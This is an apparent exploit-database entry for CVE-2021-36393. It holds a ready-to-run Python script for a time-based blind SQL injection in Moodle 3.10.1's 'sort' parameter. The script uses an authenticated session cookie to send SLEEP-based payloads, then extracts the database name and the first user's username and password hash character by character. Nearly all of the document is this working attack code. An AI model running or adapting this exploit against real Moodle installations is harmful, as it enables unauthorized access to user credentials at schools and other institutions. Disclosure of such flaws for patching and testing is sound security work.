# Exploit Title: Moodle Authenticated Time-Based Blind SQL Injection - "sort" Parameter # Google Dork: # Date: 04/11/2023 # Exploit Author: Julio Ángel Ferrari (Aka. T0X1Cx) # Vendor Homepage: https://moodle.org/ # Software Link: # Version: 3.10.1 # Tested on: Linux # CVE : CVE-2021-36393 import requests import string from termcolor import colored # Request details URL = "http://127.0.0.1:8080/moodle/lib/ajax/service.php?sesskey=ZT0E6J0xWe&info=core_course_get_enrolled_courses_by_timeline_classification" HEADERS = { "Accept": "application/json, text/javascript, */*; q=0.01", "Content-Type": "application/json", "X-Requested-With": "XMLHttpRequest", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.91 Safari/537.36", "Origin": "http://127.0.0.1:8080", "Referer": "http://127.0.0.1:8080/moodle/my/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Cookie": "MoodleSession=5b1rk2pfdpbcq2i5hmmern1os0", "Connection": "close" } # Characters to test characters_to_test = string.ascii_lowercase + string.ascii_uppercase + string.digits + "!@#$^&*()-_=+[]{}|;:'\",.<>?/" def test_character(payload): response = requests.post(URL, headers=HEADERS, json=[payload]) return response.elapsed.total_seconds() >= 3 def extract_value(column, label): base_payload = { "index": 0, "methodname": "core_course_get_enrolled_courses_by_timeline_classification", "args": { "offset": 0, "limit": 0, "classification": "all", "sort": "", "customfieldname": "", "customfieldvalue": "" } } result = "" for _ in range(50): # Assumes a maximum of 50 characters for the value character_found = False for character in characters_to_test: if column == "database()": base_payload["args"]["sort"] = f"fullname OR (database()) LIKE '{result + character}%' AND SLEEP(3)" else: base_payload["args"]["sort"] = f"fullname OR (SELECT {column} FROM mdl_user LIMIT 1 OFFSET 0) LIKE '{result + character}%' AND SLEEP(3)" if test_character(base_payload): result += character print(colored(f"{label}: {result}", 'red'), end="\r") character_found = True break if not character_found: break # Print the final result print(colored(f"{label}: {result}", 'red')) if __name__ == "__main__": extract_value("database()", "Database") extract_value("username", "Username") extract_value("password", "Password")